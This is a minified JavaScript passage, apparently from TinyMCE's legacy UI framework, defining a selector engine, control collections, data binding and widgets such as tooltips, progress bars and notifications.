Dt,At,Bt,Lt=/^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,It=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,zt=/^\s*|\s*$/g,Ft=St.extend({init:function(t){var o=this.match;function s(t,e,n){var i;function r(t){t&&e.push(t)}return r(function(e){if(e)return e=e.toLowerCase(),function(t){return"*"===e||t.type===e}}((i=Lt.exec(t.replace(zt,"")))[1])),r(function(e){if(e)return function(t){return t._name===e}}(i[2])),r(function(n){if(n)return n=n.split("."),function(t){for(var e=n.length;e--;)if(!t.classes.contains(n[e]))return!1;return!0}}(i[3])),r(function(n,i,r){if(n)return function(t){var e=t[n]?t[n]():"";return i?"="===i?e===r:"*="===i?0<=e.indexOf(r):"~="===i?0<=(" "+e+" ").indexOf(" "+r+" "):"!="===i?e!==r:"^="===i?0===e.indexOf(r):"$="===i&&e.substr(e.length-r.length)===r:!!r}}(i[4],i[5],i[6])),r(function(i){var e;if(i)return(i=/(?:not\((.+)\))|(.+)/i.exec(i))[1]?(e=a(i[1],[]),function(t){return!o(t,e)}):(i=i[2],function(t,e,n){return"first"===i?0===e:"last"===i?e===n-1:"even"===i?e%2==0:"odd"===i?e%2==1:!!t[i]&&t[i]()})}(i[7])),e.pseudo=!!i[7],e.direct=n,e}function a(t,e){var n,i,r,o=[];do{if(It.exec(""),(i=It.exec(t))&&(t=i[3],o.push(i[1]),i[2])){n=i[3];break}}while(i);for(n&&a(n,e),t=[],r=0;r<o.length;r++)">"!==o[r]&&t.push(s(o[r],[],">"===o[r-1]));return e.push(t),e}this._selectors=a(t,[])},match:function(t,e){var n,i,r,o,s,a,l,u,c,d,f,h,m;for(n=0,i=(e=e||this._selectors).length;n<i;n++){for(m=t,h=0,r=(o=(s=e[n]).length)-1;0<=r;r--)for(u=s[r];m;){if(u.pseudo)for(c=d=(f=m.parent().items()).length;c--&&f[c]!==m;);for(a=0,l=u.length;a<l;a++)if(!u[a](m,c,d)){a=l+1;break}if(a===l){h++;break}if(r===o-1)break;m=m.parent()}if(h===o)return!0}return!1},find:function(t){var e,n,u=[],i=this._selectors;function c(t,e,n){var i,r,o,s,a,l=e[n];for(i=0,r=t.length;i<r;i++){for(a=t[i],o=0,s=l.length;o<s;o++)if(!l[o](a,i,r)){o=s+1;break}if(o===s)n===e.length-1?u.push(a):a.items&&c(a.items(),e,n+1);else if(l.direct)return;a.items&&c(a.items(),e,n)}}if(t.items){for(e=0,n=i.length;e<n;e++)c(t.items(),i[e],0);1<n&&(u=function(t){for(var e,n=[],i=t.length;i--;)(e=t[i]).__checked||(n.push(e),e.__checked=1);for(i=n.length;i--;)delete n[i].__checked;return n}(u))}return Dt||(Dt=Ft.Collection),new Dt(u)}}),Ut=Array.prototype.push,Vt=Array.prototype.slice;Bt={length:0,init:function(t){t&&this.add(t)},add:function(t){return R.isArray(t)?Ut.apply(this,t):t instanceof At?this.add(t.toArray()):Ut.call(this,t),this},set:function(t){var e,n=this,i=n.length;for(n.length=0,n.add(t),e=n.length;e<i;e++)delete n[e];return n},filter:function(e){var t,n,i,r,o=[];for("string"==typeof e?(e=new Ft(e),r=function(t){return e.match(t)}):r=e,t=0,n=this.length;t<n;t++)r(i=this[t])&&o.push(i);return new At(o)},slice:function(){return new At(Vt.apply(this,arguments))},eq:function(t){return-1===t?this.slice(t):this.slice(t,+t+1)},each:function(t){return R.each(this,t),this},toArray:function(){return R.toArray(this)},indexOf:function(t){for(var e=this.length;e--&&this[e]!==t;);return e},reverse:function(){return new At(R.toArray(this).reverse())},hasClass:function(t){return!!this[0]&&this[0].classes.contains(t)},prop:function(e,n){var t;return n!==undefined?(this.each(function(t){t[e]&&t[e](n)}),this):(t=this[0])&&t[e]?t[e]():void 0},exec:function(e){var n=R.toArray(arguments).slice(1);return this.each(function(t){t[e]&&t[e].apply(t,n)}),this},remove:function(){for(var t=this.length;t--;)this[t].remove();return this},addClass:function(e){return this.each(function(t){t.classes.add(e)})},removeClass:function(e){return this.each(function(t){t.classes.remove(e)})}},R.each("fire on off show hide append prepend before after reflow".split(" "),function(n){Bt[n]=function(){var e=R.toArray(arguments);return this.each(function(t){n in t&&t[n].apply(t,e)}),this}}),R.each("text name disabled active selected checked visible parent value data".split(" "),function(e){Bt[e]=function(t){return this.prop(e,t)}}),At=St.extend(Bt);var qt=Ft.Collection=At,Yt=function(t){this.create=t.create};Yt.create=function(r,o){return new Yt({create:function(e,n){var i,t=function(t){e.set(n,t.value)};return e.on("change:"+n,function(t){r.set(o,t.value)}),r.on("change:"+o,t),(i=e._bindings)||(i=e._bindings=[],e.on("destroy",function(){for(var t=i.length;t--;)i[t]()})),i.push(function(){r.off("change:"+o,t)}),r.get(o)}})};var $t=tinymce.util.Tools.resolve("tinymce.util.Observable");function Xt(t){return 0<t.nodeType}var jt,Jt,Gt=St.extend({Mixins:[$t],init:function(t){var e,n;for(e in t=t||{})(n=t[e])instanceof Yt&&(t[e]=n.create(this,e));this.data=t},set:function(e,n){var i,r,o=this.data[e];if(n instanceof Yt&&(n=n.create(this,e)),"object"==typeof e){for(i in e)this.set(i,e[i]);return this}return function t(e,n){var i,r;if(e===n)return!0;if(null===e||null===n)return e===n;if("object"!=typeof e||"object"!=typeof n)return e===n;if(R.isArray(n)){if(e.length!==n.length)return!1;for(i=e.length;i--;)if(!t(e[i],n[i]))return!1}if(Xt(e)||Xt(n))return e===n;for(i in r={},n){if(!t(e[i],n[i]))return!1;r[i]=!0}for(i in e)if(!r[i]&&!t(e[i],n[i]))return!1;return!0}(o,n)||(this.data[e]=n,r={target:this,name:e,value:n,oldValue:o},this.fire("change:"+e,r),this.fire("change",r)),this},get:function(t){return this.data[t]},has:function(t){return t in this.data},bind:function(t){return Yt.create(this,t)},destroy:function(){this.fire("destroy")}}),Kt={},Zt={add:function(t){var e=t.parent();if(e){if(!e._layout||e._layout.isNative())return;Kt[e._id]||(Kt[e._id]=e),jt||(jt=!0,c.requestAnimationFrame(function(){var t,e;for(t in jt=!1,Kt)(e=Kt[t]).state.get("rendered")&&e.reflow();Kt={}},_.document.body))}},remove:function(t){Kt[t._id]&&delete Kt[t._id]}},Qt=function(t){return t?t.getRoot().uiContainer:null},te={getUiContainerDelta:function(t){var e=Qt(t);if(e&&"static"!==v.DOM.getStyle(e,"position",!0)){var n=v.DOM.getPos(e),i=e.scrollLeft-n.x,r=e.scrollTop-n.y;return mt.some({x:i,y:r})}return mt.none()},setUiContainer:function(t,e){var n=v.DOM.select(t.settings.ui_container)[0];e.getRoot().uiContainer=n},getUiContainer:Qt,inheritUiContainer:function(t,e){return e.uiContainer=Qt(t)}},ee="onmousewheel"in _.document,ne=!1,ie=0,re={Statics:{classPrefix:"mce-"},isRtl:function(){return Jt.rtl},classPrefix:"mce-",init:function(e){var t,n,i=this;function r(t){var e;for(t=t.split(" "),e=0;e<t.length;e++)i.classes.add(t[e])}i.settings=e=R.extend({},i.Defaults,e),i._id=e.id||"mceu_"+ie++,i._aria={role:e.role},i._elmCache={},i.$=Tt,i.state=new Gt({visible:!0,active:!1,disabled:!1,value:""}),i.data=new Gt(e.data),i.classes=new Pt(function(){i.state.get("rendered")&&(i.getEl().className=this.toString())}),i.classes.prefix=i.classPrefix,(t=e.classes)&&(i.Defaults&&(n=i.Defaults.classes)&&t!==n&&r(n),r(t)),R.each("title text name visible disabled active value".split(" "),function(t){t in e&&i[t](e[t])}),i.on("click",function(){if(i.disabled())return!1}),i.settings=e,i.borderBox=Nt(e.border),i.paddingBox=Nt(e.padding),i.marginBox=Nt(e.margin),e.hidden&&i.hide()},Properties:"parent,name",getContainerElm:function(){var t=te.getUiContainer(this);return t||Ht.getContainer()},getParentCtrl:function(t){for(var e,n=this.getRoot().controlIdLookup;t&&n&&!(e=n[t.id]);)t=t.parentNode;return e},initLayoutRect:function(){var t,e,n,i,r,o,s,a,l,u,c=this,d=c.settings,f=c.getEl();t=c.borderBox=c.borderBox||Ot(f,"border"),c.paddingBox=c.paddingBox||Ot(f,"padding"),c.marginBox=c.marginBox||Ot(f,"margin"),u=Ht.getSize(f),a=d.minWidth,l=d.minHeight,r=a||u.width,o=l||u.height,n=d.width,i=d.height,s=void 0!==(s=d.autoResize)?s:!n&&!i,n=n||r,i=i||o;var h=t.left+t.right,m=t.top+t.bottom,g=d.maxWidth||65535,p=d.maxHeight||65535;return c._layoutRect=e={x:d.x||0,y:d.y||0,w:n,h:i,deltaW:h,deltaH:m,contentW:n-h,contentH:i-m,innerW:n-h,innerH:i-m,startMinWidth:a||0,startMinHeight:l||0,minW:Math.min(r,g),minH:Math.min(o,p),maxW:g,maxH:p,autoResize:s,scrollW:0},c._lastLayoutRect={},e},layoutRect:function(t){var e,n,i,r,o,s=this,a=s._layoutRect;return a||(a=s.initLayoutRect()),t?(i=a.deltaW,r=a.deltaH,t.x!==undefined&&(a.x=t.x),t.y!==undefined&&(a.y=t.y),t.minW!==undefined&&(a.minW=t.minW),t.minH!==undefined&&(a.minH=t.minH),(n=t.w)!==undefined&&(n=(n=n<a.minW?a.minW:n)>a.maxW?a.maxW:n,a.w=n,a.innerW=n-i),(n=t.h)!==undefined&&(n=(n=n<a.minH?a.minH:n)>a.maxH?a.maxH:n,a.h=n,a.innerH=n-r),(n=t.innerW)!==undefined&&(n=(n=n<a.minW-i?a.minW-i:n)>a.maxW-i?a.maxW-i:n,a.innerW=n,a.w=n+i),(n=t.innerH)!==undefined&&(n=(n=n<a.minH-r?a.minH-r:n)>a.maxH-r?a.maxH-r:n,a.innerH=n,a.h=n+r),t.contentW!==undefined&&(a.contentW=t.contentW),t.contentH!==undefined&&(a.contentH=t.contentH),(e=s._lastLayoutRect).x===a.x&&e.y===a.y&&e.w===a.w&&e.h===a.h||((o=Jt.repaintControls)&&o.map&&!o.map[s._id]&&(o.push(s),o.map[s._id]=!0),e.x=a.x,e.y=a.y,e.w=a.w,e.h=a.h),s):a},repaint:function(){var t,e,n,i,r,o,s,a,l,u,c=this;l=_.document.createRange?function(t){return t}:Math.round,t=c.getEl().style,i=c._layoutRect,a=c._lastRepaintRect||{},o=(r=c.borderBox).left+r.right,s=r.top+r.bottom,i.x!==a.x&&(t.left=l(i.x)+"px",a.x=i.x),i.y!==a.y&&(t.top=l(i.y)+"px",a.y=i.y),i.w!==a.w&&(u=l(i.w-o),t.width=(0<=u?u:0)+"px",a.w=i.w),i.h!==a.h&&(u=l(i.h-s),t.height=(0<=u?u:0)+"px",a.h=i.h),c._hasBody&&i.innerW!==a.innerW&&(u=l(i.innerW),(n=c.getEl("body"))&&((e=n.style).width=(0<=u?u:0)+"px"),a.innerW=i.innerW),c._hasBody&&i.innerH!==a.innerH&&(u=l(i.innerH),(n=n||c.getEl("body"))&&((e=e||n.style).height=(0<=u?u:0)+"px"),a.innerH=i.innerH),c._lastRepaintRect=a,c.fire("repaint",{},!1)},updateLayoutRect:function(){var t=this;t.parent()._lastRect=null,Ht.css(t.getEl(),{width:"",height:""}),t._layoutRect=t._lastRepaintRect=t._lastLayoutRect=null,t.initLayoutRect()},on:function(t,e){var n,i,r,o=this;return oe(o).on(t,"string"!=typeof(n=e)?n:function(t){return i||o.parentsAndSelf().each(function(t){var e=t.settings.callbacks;if(e&&(i=e[n]))return r=t,!1}),i?i.call(r,t):(t.action=n,void this.fire("execute",t))}),o},off:function(t,e){return oe(this).off(t,e),this},fire:function(t,e,n){if((e=e||{}).control||(e.control=this),e=oe(this).fire(t,e),!1!==n&&this.parent)for(var i=this.parent();i&&!e.isPropagationStopped();)i.fire(t,e,!1),i=i.parent();return e},hasEventListeners:function(t){return oe(this).has(t)},parents:function(t){var e,n=new qt;for(e=this.parent();e;e=e.parent())n.add(e);return t&&(n=n.filter(t)),n},parentsAndSelf:function(t){return new qt(this).add(this.parents(t))},next:function(){var t=this.parent().items();return t[t.indexOf(this)+1]},prev:function(){var t=this.parent().items();return t[t.indexOf(this)-1]},innerHtml:function(t){return this.$el.html(t),this},getEl:function(t){var e=t?this._id+"-"+t:this._id;return this._elmCache[e]||(this._elmCache[e]=Tt("#"+e)[0]),this._elmCache[e]},show:function(){return this.visible(!0)},hide:function(){return this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(t){}return this},blur:function(){return this.getEl().blur(),this},aria:function(t,e){var n=this,i=n.getEl(n.ariaTarget);return void 0===e?n._aria[t]:(n._aria[t]=e,n.state.get("rendered")&&i.setAttribute("role"===t?t:"aria-"+t,e),n)},encode:function(t,e){return!1!==e&&(t=this.translate(t)),(t||"").replace(/[&<>"]/g,function(t){return"&#"+t.charCodeAt(0)+";"})},translate:function(t){return Jt.translate?Jt.translate(t):t},before:function(t){var e=this.parent();return e&&e.insert(t,e.items().indexOf(this),!0),this},after:function(t){var e=this.parent();return e&&e.insert(t,e.items().indexOf(this)),this},remove:function(){var e,t,n=this,i=n.getEl(),r=n.parent();if(n.items){var o=n.items().toArray();for(t=o.length;t--;)o[t].remove()}r&&r.items&&(e=[],r.items().each(function(t){t!==n&&e.push(t)}),r.items().set(e),r._lastRect=null),n._eventsRoot&&n._eventsRoot===n&&Tt(i).off();var s=n.getRoot().controlIdLookup;return s&&delete s[n._id],i&&i.parentNode&&i.parentNode.removeChild(i),n.state.set("rendered",!1),n.state.destroy(),n.fire("remove"),n},renderBefore:function(t){return Tt(t).before(this.renderHtml()),this.postRender(),this},renderTo:function(t){return Tt(t||this.getContainerElm()).append(this.renderHtml()),this.postRender(),this},preRender:function(){},render:function(){},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'"></div>'},postRender:function(){var t,e,n,i,r,o=this,s=o.settings;for(i in o.$el=Tt(o.getEl()),o.state.set("rendered",!0),s)0===i.indexOf("on")&&o.on(i.substr(2),s[i]);if(o._eventsRoot){for(n=o.parent();!r&&n;n=n.parent())r=n._eventsRoot;if(r)for(i in r._nativeEvents)o._nativeEvents[i]=!0}se(o),s.style&&(t=o.getEl())&&(t.setAttribute("style",s.style),t.style.cssText=s.style),o.settings.border&&(e=o.borderBox,o.$el.css({"border-top-width":e.top,"border-right-width":e.right,"border-bottom-width":e.bottom,"border-left-width":e.left}));var a=o.getRoot();for(var l in a.controlIdLookup||(a.controlIdLookup={}),(a.controlIdLookup[o._id]=o)._aria)o.aria(l,o._aria[l]);!1===o.state.get("visible")&&(o.getEl().style.display="none"),o.bindStates(),o.state.on("change:visible",function(t){var e,n=t.value;o.state.get("rendered")&&(o.getEl().style.display=!1===n?"none":"",o.getEl().getBoundingClientRect()),(e=o.parent())&&(e._lastRect=null),o.fire(n?"show":"hide"),Zt.add(o)}),o.fire("postrender",{},!1)},bindStates:function(){},scrollIntoView:function(t){var e,n,i,r,o,s,a=this.getEl(),l=a.parentNode,u=function(t,e){var n,i,r=t;for(n=i=0;r&&r!==e&&r.nodeType;)n+=r.offsetLeft||0,i+=r.offsetTop||0,r=r.offsetParent;return{x:n,y:i}}(a,l);return e=u.x,n=u.y,i=a.offsetWidth,r=a.offsetHeight,o=l.clientWidth,s=l.clientHeight,"end"===t?(e-=o-i,n-=s-r):"center"===t&&(e-=o/2-i/2,n-=s/2-r/2),l.scrollLeft=e,l.scrollTop=n,this},getRoot:function(){for(var t,e=this,n=[];e;){if(e.rootControl){t=e.rootControl;break}n.push(e),e=(t=e).parent()}t||(t=this);for(var i=n.length;i--;)n[i].rootControl=t;return t},reflow:function(){Zt.remove(this);var t=this.parent();return t&&t._layout&&!t._layout.isNative()&&t.reflow(),this}};function oe(n){return n._eventDispatcher||(n._eventDispatcher=new Mt({scope:n,toggleEvent:function(t,e){e&&Mt.isNative(t)&&(n._nativeEvents||(n._nativeEvents={}),n._nativeEvents[t]=!0,n.state.get("rendered")&&se(n))}})),n._eventDispatcher}function se(a){var t,e,n,l,i,r;function o(t){var e=a.getParentCtrl(t.target);e&&e.fire(t.type,t)}function s(){var t=l._lastHoverCtrl;t&&(t.fire("mouseleave",{target:t.getEl()}),t.parents().each(function(t){t.fire("mouseleave",{target:t.getEl()})}),l._lastHoverCtrl=null)}function u(t){var e,n,i,r=a.getParentCtrl(t.target),o=l._lastHoverCtrl,s=0;if(r!==o){if((n=(l._lastHoverCtrl=r).parents().toArray().reverse()).push(r),o){for((i=o.parents().toArray().reverse()).push(o),s=0;s<i.length&&n[s]===i[s];s++);for(e=i.length-1;s<=e;e--)(o=i[e]).fire("mouseleave",{target:o.getEl()})}for(e=s;e<n.length;e++)(r=n[e]).fire("mouseenter",{target:r.getEl()})}}function c(t){t.preventDefault(),"mousewheel"===t.type?(t.deltaY=-.025*t.wheelDelta,t.wheelDeltaX&&(t.deltaX=-.025*t.wheelDeltaX)):(t.deltaX=0,t.deltaY=t.detail),t=a.fire("wheel",t)}if(i=a._nativeEvents){for((n=a.parents().toArray()).unshift(a),t=0,e=n.length;!l&&t<e;t++)l=n[t]._eventsRoot;for(l||(l=n[n.length-1]||a),a._eventsRoot=l,e=t,t=0;t<e;t++)n[t]._eventsRoot=l;var d=l._delegates;for(r in d||(d=l._delegates={}),i){if(!i)return!1;"wheel"!==r||ne?("mouseenter"===r||"mouseleave"===r?l._hasMouseEnter||(Tt(l.getEl()).on("mouseleave",s).on("mouseover",u),l._hasMouseEnter=1):d[r]||(Tt(l.getEl()).on(r,o),d[r]=!0),i[r]=!1):ee?Tt(a.getEl()).on("mousewheel",c):Tt(a.getEl()).on("DOMMouseScroll",c)}}}R.each("text title visible disabled active value".split(" "),function(e){re[e]=function(t){return 0===arguments.length?this.state.get(e):(void 0!==t&&this.state.set(e,t),this)}});var ae=Jt=St.extend(re),le=function(t){return"static"===Ht.getRuntimeStyle(t,"position")},ue=function(t){return t.state.get("fixed")};function ce(t,e,n){var i,r,o,s,a,l,u,c,d,f;return d=de(),o=(r=Ht.getPos(e,te.getUiContainer(t))).x,s=r.y,ue(t)&&le(_.document.body)&&(o-=d.x,s-=d.y),i=t.getEl(),a=(f=Ht.getSize(i)).width,l=f.height,u=(f=Ht.getSize(e)).width,c=f.height,"b"===(n=(n||"").split(""))[0]&&(s+=c),"r"===n[1]&&(o+=u),"c"===n[0]&&(s+=Math.round(c/2)),"c"===n[1]&&(o+=Math.round(u/2)),"b"===n[3]&&(s-=l),"r"===n[4]&&(o-=a),"c"===n[3]&&(s-=Math.round(l/2)),"c"===n[4]&&(o-=Math.round(a/2)),{x:o,y:s,w:a,h:l}}var de=function(){var t=_.window;return{x:Math.max(t.pageXOffset,_.document.body.scrollLeft,_.document.documentElement.scrollLeft),y:Math.max(t.pageYOffset,_.document.body.scrollTop,_.document.documentElement.scrollTop),w:t.innerWidth||_.document.documentElement.clientWidth,h:t.innerHeight||_.document.documentElement.clientHeight}},fe=function(t){var e,n=te.getUiContainer(t);return n&&!ue(t)?{x:0,y:0,w:(e=n).scrollWidth-1,h:e.scrollHeight-1}:de()},he={testMoveRel:function(t,e){for(var n=fe(this),i=0;i<e.length;i++){var r=ce(this,t,e[i]);if(ue(this)){if(0<r.x&&r.x+r.w<n.w&&0<r.y&&r.y+r.h<n.h)return e[i]}else if(r.x>n.x&&r.x+r.w<n.w+n.x&&r.y>n.y&&r.y+r.h<n.h+n.y)return e[i]}return e[0]},moveRel:function(t,e){"string"!=typeof e&&(e=this.testMoveRel(t,e));var n=ce(this,t,e);return this.moveTo(n.x,n.y)},moveBy:function(t,e){var n=this.layoutRect();return this.moveTo(n.x+t,n.y+e),this},moveTo:function(t,e){var n=this;function i(t,e,n){return t<0?0:e<t+n&&(t=e-n)<0?0:t}if(n.settings.constrainToViewport){var r=fe(this),o=n.layoutRect();t=i(t,r.w+r.x,o.w),e=i(e,r.h+r.y,o.h)}var s=te.getUiContainer(n);return s&&le(s)&&!ue(n)&&(t-=s.scrollLeft,e-=s.scrollTop),s&&(t+=1,e+=1),n.state.get("rendered")?n.layoutRect({x:t,y:e}).repaint():(n.settings.x=t,n.settings.y=e),n.fire("move",{x:t,y:e}),n}},me=ae.extend({Mixins:[he],Defaults:{classes:"widget tooltip tooltip-n"},renderHtml:function(){var t=this,e=t.classPrefix;return'<div id="'+t._id+'" class="'+t.classes+'" role="presentation"><div class="'+e+'tooltip-arrow"></div><div class="'+e+'tooltip-inner">'+t.encode(t.state.get("text"))+"</div></div>"},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.getEl().lastChild.innerHTML=e.encode(t.value)}),e._super()},repaint:function(){var t,e;t=this.getEl().style,e=this._layoutRect,t.left=e.x+"px",t.top=e.y+"px",t.zIndex=131070}}),ge=ae.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.canFocus=!0,i.tooltip&&!1!==ge.tooltips&&(r.on("mouseenter",function(t){var e=r.tooltip().moveTo(-65535);if(t.control===r){var n=e.text(i.tooltip).show().testMoveRel(r.getEl(),["bc-tc","bc-tl","bc-tr"]);e.classes.toggle("tooltip-n","bc-tc"===n),e.classes.toggle("tooltip-nw","bc-tl"===n),e.classes.toggle("tooltip-ne","bc-tr"===n),e.moveRel(r.getEl(),n)}else e.hide()}),r.on("mouseleave mousedown click",function(){r.tooltip().remove(),r._tooltip=null})),r.aria("label",i.ariaLabel||i.tooltip)},tooltip:function(){return this._tooltip||(this._tooltip=new me({type:"tooltip"}),te.inheritUiContainer(this,this._tooltip),this._tooltip.renderTo()),this._tooltip},postRender:function(){var t=this,e=t.settings;t._super(),t.parent()||!e.width&&!e.height||(t.initLayoutRect(),t.repaint()),e.autofocus&&t.focus()},bindStates:function(){var e=this;function n(t){e.aria("disabled",t),e.classes.toggle("disabled",t)}function i(t){e.aria("pressed",t),e.classes.toggle("active",t)}return e.state.on("change:disabled",function(t){n(t.value)}),e.state.on("change:active",function(t){i(t.value)}),e.state.get("disabled")&&n(!0),e.state.get("active")&&i(!0),e._super()},remove:function(){this._super(),this._tooltip&&(this._tooltip.remove(),this._tooltip=null)}}),pe=ge.extend({Defaults:{value:0},init:function(t){this._super(t),this.classes.add("progress"),this.settings.filter||(this.settings.filter=function(t){return Math.round(t)})},renderHtml:function(){var t=this._id,e=this.classPrefix;return'<div id="'+t+'" class="'+this.classes+'"><div class="'+e+'bar-container"><div class="'+e+'bar"></div></div><div class="'+e+'text">0%</div></div>'},postRender:function(){return this._super(),this.value(this.settings.value),this},bindStates:function(){var e=this;function n(t){t=e.settings.filter(t),e.getEl().lastChild.innerHTML=t+"%",e.getEl().firstChild.firstChild.style.width=t+"%"}return e.state.on("change:value",function(t){n(t.value)}),n(e.state.get("value")),e._super()}}),ve=function(t,e){t.getEl().lastChild.textContent=e+(t.progressBar?" "+t.progressBar.value()+"%":"")},be=ae.extend({Mixins:[he],Defaults:{classes:"widget notification"},init:function(t){var e=this;e._super(t),e.maxWidth=t.maxWidth,t.text&&e.text(t.text),t.icon&&(e.icon=t.icon),t.color&&(e.color=t.color),t.type&&e.classes.add("notification-"+t.type),t.timeout&&(t.timeout<0||0<t.timeout)&&!t.closeButton?e.closeButton=!1:(e.classes.add("has-close"),e.closeButton=!0),t.progressBar&&(e.progressBar=new pe),e.on("click",function(t){-1!==t.target.className.indexOf(e.classPrefix+"close")&&e.close()})},renderHtml:function(){var t,e=this,n=e.classPrefix,i="",r="",o="";return e.icon&&(i='<i class="'+n+"ico "+n+"i-"+e.icon+'"></i>'),t=' style="max-width: '+e.maxWidth+"px;"+(e.color?"background-color: "+e.color+';"':'"'),e.closeButton&&(r='<button type="button" class="'+n+'close" aria-hidden="true">\xd7</button>'),e.progressBar&&(o=e.progressBar.renderHtml()),'<div id="'+e._id+'" class="'+e.classes+'"'+t+' role="presentation">'+i+'<div class="'+n+'notification-inner">'+e.state.get("text")+"</div>"+o+r+'<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;" aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div></div>'},postRender:function(){var t=this;return c.setTimeout(function(){t.$el.addClass(t.classPrefix+"in"),ve(t,t.state.get("text"))},100),t._super()},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.getEl().firstChild.innerHTML=t.value,ve(e,t.value)}),e.progressBar&&(e.progressBar.bindStates(),e.progressBar.state.on("change:value",function(t){ve(e,e.state.get("text"))})),e._super()},close:function(){return this.fire("close").isDefaultPrevented()||this.remove(),this},repaint:function(){var t,e;t=this.getEl().style,e=this._layoutRect,t.left=e.x+"px",t.top=e.y+"px",t.zIndex=65534}});function ye(o){var s=function(t){return t.inline?t.getElement():t.getContentAreaContainer()};return{open:function(t,e){var n,i=R.extend(t,{maxWidth:(n=s(o),Ht.getSize(n).width)}),r=new be(i);return 0<(r.args=i).timeout&&(r.timer=setTimeout(function(){r.close(),e()},i.timeout)),r.on("close",function(){e()}),r.renderTo(),r},close:function(t){t.close()},reposition:function(t){Ct(t,function(t){t.moveTo(0,0)}),function(n){if(0<n.length){var t=n.slice(0,1)[0],e=s(o);t.moveRel(e,"tc-tc"),Ct(n,function(t,e){0<e&&t.moveRel(n[e-1].getEl(),"bc-tc")})}}(t)},getArgs:function(t){return t.args}}}function xe(t){var e,n;if(t.changedTouches)for(e="screenX screenY pageX pageY clientX clientY".split(" "),n=0;n<e.length;n++)t[e[n]]=t.changedTouches[0][e[n]]}function we(t,h){var m,g,e,p,v,b,y,x=h.document||_.document;h=h||{};var w=x.getElementById(h.handle||t);e=function(t){var e,n,i,r,o,s,a,l,u,c,d,f=(e=x,u=Math.max,n=e.documentElement,i=e.body,r=u(n.scrollWidth,i.scrollWidth),o=u(n.clientWidth,i.clientWidth),s=u(n.offsetWidth,i.offsetWidth),a=u(n.scrollHeight,i.scrollHeight),l=u(n.clientHeight,i.clientHeight),{width:r<s?o:r,height:a<u(n.offsetHeight,i.offsetHeight)?l:a});xe(t),t.preventDefault(),g=t.button,c=w,b=t.screenX,y=t.screenY,d=_.window.getComputedStyle?_.window.getComputedStyle(c,null).getPropertyValue("cursor"):c.runtimeStyle.cursor,m=Tt("<div></div>").css({position:"absolute",top:0,left:0,width:f.width,height:f.height,zIndex:2147483647,opacity:1e-4,cursor:d}).appendTo(x.body),Tt(x).on("mousemove touchmove",v).on("mouseup touchend",p),h.start(t)},v=function(t){if(xe(t),t.button!==g)return p(t);t.deltaX=t.screenX-b,t.deltaY=t.screenY-y,t.preventDefault(),h.drag(t)},p=function(t){xe(t),Tt(x).off("mousemove touchmove",v).off("mouseup touchend",p),m.remove(),h.stop&&h.stop(t)},this.destroy=function(){Tt(w).off()},Tt(w).on("mousedown touchstart",e)}var _e=tinymce.util.Tools.resolve("tinymce.ui.Factory"),Re=function(t){return!!t.getAttribute("data-mce-tabstop")};function Ce(t){var o,r,n=t.root;function i(t){return t&&1===t.nodeType}try{o=_.document.activeElement}catch(e){o=_.document.body}function s(t){return i(t=t||o)?t.getAttribute("role"):null}function a(t){for(var e,n=t||o;n=n.parentNode;)if(e=s(n))return e}function l(t){var e=o;if(i(e))return e.getAttribute("aria-"+t)}function u(t){var e=t.tagName.toUpperCase();return"INPUT"===e||"TEXTAREA"===e||"SELECT"===e}function c(e){var r=[];return function t(e){if(1===e.nodeType&&"none"!==e.style.display&&!e.disabled){var n;(u(n=e)&&!n.hidden||Re(n)||/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(s(n)))&&r.push(e);for(var i=0;i<e.childNodes.length;i++)t(e.childNodes[i])}}(e||n.getEl()),r}function d(t){var e,n;(n=(t=t||r).parents().toArray()).unshift(t);for(var i=0;i<n.length&&!(e=n[i]).settings.ariaRoot;i++);return e}function f(t,e){return t<0?t=e.length-1:t>=e.length&&(t=0),e[t]&&e[t].focus(),t}function h(t,e){var n=-1,i=d();e=e||c(i.getEl());for(var r=0;r<e.length;r++)e[r]===o&&(n=r);n+=t,i.lastAriaIndex=f(n,e)}function m(){"tablist"===a()?h(-1,c(o.parentNode)):r.parent().submenu?b():h(-1)}function g(){var t=s(),e=a();"tablist"===e?h(1,c(o.parentNode)):"menuitem"===t&&"menu"===e&&l("haspopup")?y():h(1)}function p(){h(-1)}function v(){var t=s(),e=a();"menuitem"===t&&"menubar"===e?y():"button"===t&&l("haspopup")?y({key:"down"}):h(1)}function b(){r.fire("cancel")}function y(t){t=t||{},r.fire("click",{target:o,aria:t})}return r=n.getParentCtrl(o),n.on("keydown",function(t){function e(t,e){u(o)||Re(o)||"slider"!==s(o)&&!1!==e(t)&&t.preventDefault()}if(!t.isDefaultPrevented())switch(t.keyCode){case 37:e(t,m);break;case 39:e(t,g);break;case 38:e(t,p);break;case 40:e(t,v);break;case 27:b();break;case 14:case 13:case 32:e(t,y);break;case 9:!function(t){if("tablist"===a()){var e=c(r.getEl("body"))[0];e&&e.focus()}else h(t.shiftKey?-1:1)}(t),t.preventDefault()}}),n.on("focusin",function(t){o=t.target,r=t.control}),{focusFirst:function(t){var e=d(t),n=c(e.getEl());e.settings.ariaRemember&&"lastAriaIndex"in e?f(e.lastAriaIndex,n):f(0,n)}}}var ke,Ee,He,Te,Se={},Me=ae.extend({init:function(t){var e=this;e._super(t),(t=e.settings).fixed&&e.state.set("fixed",!0),e._items=new qt,e.isRtl()&&e.classes.add("rtl"),e.bodyClasses=new Pt(function(){e.state.get("rendered")&&(e.getEl("body").className=this.toString())}),e.bodyClasses.prefix=e.classPrefix,e.classes.add("container"),e.bodyClasses.add("container-body"),t.containerCls&&e.classes.add(t.containerCls),e._layout=_e.create((t.layout||"")+"layout"),e.settings.items?e.add(e.settings.items):e.add(e.render()),e._hasBody=!0},items:function(){return this._items},find:function(t){return(t=Se[t]=Se[t]||new 